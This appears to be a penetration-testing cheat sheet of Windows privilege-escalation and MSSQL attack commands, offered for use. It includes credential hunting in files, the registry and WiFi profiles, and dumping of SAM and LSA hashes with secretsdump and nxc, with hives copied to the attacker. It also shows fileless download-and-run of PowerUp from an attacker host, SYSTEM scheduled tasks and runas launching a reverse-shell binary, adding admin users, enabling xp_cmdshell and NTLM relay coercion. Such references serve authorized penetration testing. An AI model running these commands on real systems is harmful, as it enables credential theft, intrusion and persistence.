rdesktop $ip:3389 -f

Inspect a .NET binary for credentials

Open the exe/dll and search for hardcoded secrets

dnSpyWin Access

dnSpy

Find PowerShell history and named files recursively

Surface passwords in files, registry, WiFi, saved creds, and local SAM hashes

powershellWin PrivEscPowerShell file search

Get-ChildItem -Path C:\ -Filter "ConsoleHost_history.txt" -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Filter "Anything.*" -Recurse -ErrorAction SilentlyContinue

Grep common config extensions for password literals

Surface passwords in files, registry, WiFi, saved creds, and local SAM hashes

powershellWin PrivEscPassword strings in user files

Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.xml,*.config,*.ini -ErrorAction SilentlyContinue |
  Select-String -Pattern "password" -List

History path and password grep under Users

Surface passwords in files, registry, WiFi, saved creds, and local SAM hashes

cmdWin PrivEscCMD file search

dir /s /b ConsoleHost_history.txt
findstr /spin "password" C:\Users\*.txt

Read current user PSReadLine history

Surface passwords in files, registry, WiFi, saved creds, and local SAM hashes

cmdWin PrivEscPowerShell history

type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

List candidate credential files under Users and inetpub

Surface passwords in files, registry, WiFi, saved creds, and local SAM hashes

cmdWin PrivEscBroad file hunt

dir /s /b C:\Users\*.txt *.xml *.ini *.config 2>nul
findstr /spin "password" C:\Users\*.txt C:\Users\*.xml C:\inetpub\*.config 2>nul
findstr /si pass *.txt *.xml *.config *.ini *.bat
dir /s *pass* *cred* *vnc* *.config 2>nul

Hunt REG_SZ values containing password across HKLM

Surface passwords in files, registry, WiFi, saved creds, and local SAM hashes

cmdWin PrivEscRegistry password search

reg query HKLM /f password /t REG_SZ /s

List WLAN profiles then dump PSK for a named profile

Replace HomeNet with the profile name from the first command

cmdWin PrivEscWiFi profiles

netsh wlan show profiles
netsh wlan show profile name="HomeNet" key=clear

List stored creds and abuse runas /savecred when present

Use the Domain:interactive= account shown by cmdkey /list; omit /savecred if not listed

cmdWin PrivEscSaved credentials

cmdkey /list
runas /user:$domain\$user /savecred "C:\Users\Public\rev.exe"

Save registry hives for local account hash extraction

Surface passwords in files, registry, WiFi, saved creds, and local SAM hashes

cmdWin PrivEscSAM and SYSTEM offline dump

reg save HKLM\SAM C:\Users\Public\SAM
reg save HKLM\SYSTEM C:\Users\Public\SYSTEM

Important: Requires elevation to save SAM; copy hives to attacker before cleanup

Parse saved hives locally without touching live SAM on attacker

Crack NTLM with hashcat -m 1000; complements nxc --sam when you only have shell dumps

impacketWin PrivEscSAM and SYSTEM offline dumpSAM and SYSTEM files exfiltrated from target

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Pull scripts from attacker HTTP without saving to disk

PowerShell 7 — same PrivescCheck URL with Invoke-PrivescCheck after iwr/iex

powershellWin PrivEscStaging

IEX(New-Object Net.WebClient).DownloadString('http://$attacker_ip/PowerUp.ps1')
wget -useb http://$attacker_ip/PowerUp.ps1|iex; Invoke-AllChecks

Quick checks with direct remediation hints

Run community privesc scanners for misconfigs and actionable abuse hints

powershellWin PrivEscPowerUp

powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks

Comprehensive misconfiguration report (feeds unquoted path and service ACL flows)

Run community privesc scanners for misconfigs and actionable abuse hints

powershellWin PrivEscPrivescCheck

. .\PrivescCheck.ps1
Invoke-PrivescCheck

List all tasks with full detail

Find weak scheduled tasks and create a SYSTEM task when you have the rights

schtasksWin PrivEscScheduled tasks

schtasks /query /fo LIST /v

Expect: Task paths, run-as accounts, and triggers

Create and run a one-shot SYSTEM task

Only when you can create tasks as SYSTEM; clean up the task afterward

schtasksWin PrivEscScheduled taskslocal admin

schtasks /create /tn Update /tr "C:\Users\Public\rev.exe" \
  /sc once /st 00:00 /ru SYSTEM /f && schtasks /run /tn Update

List directories writable by Users

Find directories writable by Users that sit on an auto-start / service path for planting

accesschkWin PrivEscWeak permissions

accesschk.exe /accepteula -uwdqs Users C:\

Expect: Paths with FILE_ADD_FILE / WRITE for Users

Confirm ACL before planting a DLL or binary

Find directories writable by Users that sit on an auto-start / service path for planting

icaclsWin PrivEscWeak permissions

icacls "C:\path\to\suspect"

Expect: (M)/(W)/(F) for Users or your group on the folder

List listening ports and PIDs

Local ports, SAM/LSA dumps, and local admin group add

netstatWin PrivEsc

netstat -ano | findstr /v UDP

Dump SAM as local admin

Local ports, SAM/LSA dumps, and local admin group add

nxcWin PrivEsclocal admin

nxc smb $target -u $user -p $pass --local-auth --sam

Dump LSA secrets

Local ports, SAM/LSA dumps, and local admin group add

nxcWin PrivEsclocal admin

nxc smb $target -u $user -p $pass --local-auth --lsa

Add user to local Administrators

Local ports, SAM/LSA dumps, and local admin group add

netWin PrivEsc

net localgroup administrators $user /add

Check what you can escalate with

Check privileges, get a shell, impersonate, pick what fits

nxcMSSQL

nxc mssql $host --local-auth -u $user -p $pass -M mssql_priv

Expect: results mean you can escalate

Open an MSSQL shell

Then enum_db and enum_users

impacketMSSQL

mssqlclient.py '$user:$pass@$host'

Turn on and use xp_cmdshell

Check privileges, get a shell, impersonate, pick what fits

impacketMSSQL

enable_xp_cmdshell
xp_cmdshell whoami

List users you can impersonate

Check privileges, get a shell, impersonate, pick what fits

impacketMSSQL

enum_impersonate

Expect: logins you can switch to

Switch to another login

Check privileges, get a shell, impersonate, pick what fits

impacketMSSQL

execute as login = 'appdev'

Coerce auth for an NTLM relay

Check privileges, get a shell, impersonate, pick what fits

impacketMSSQL

xp_dirtree \\$attacker_ip\share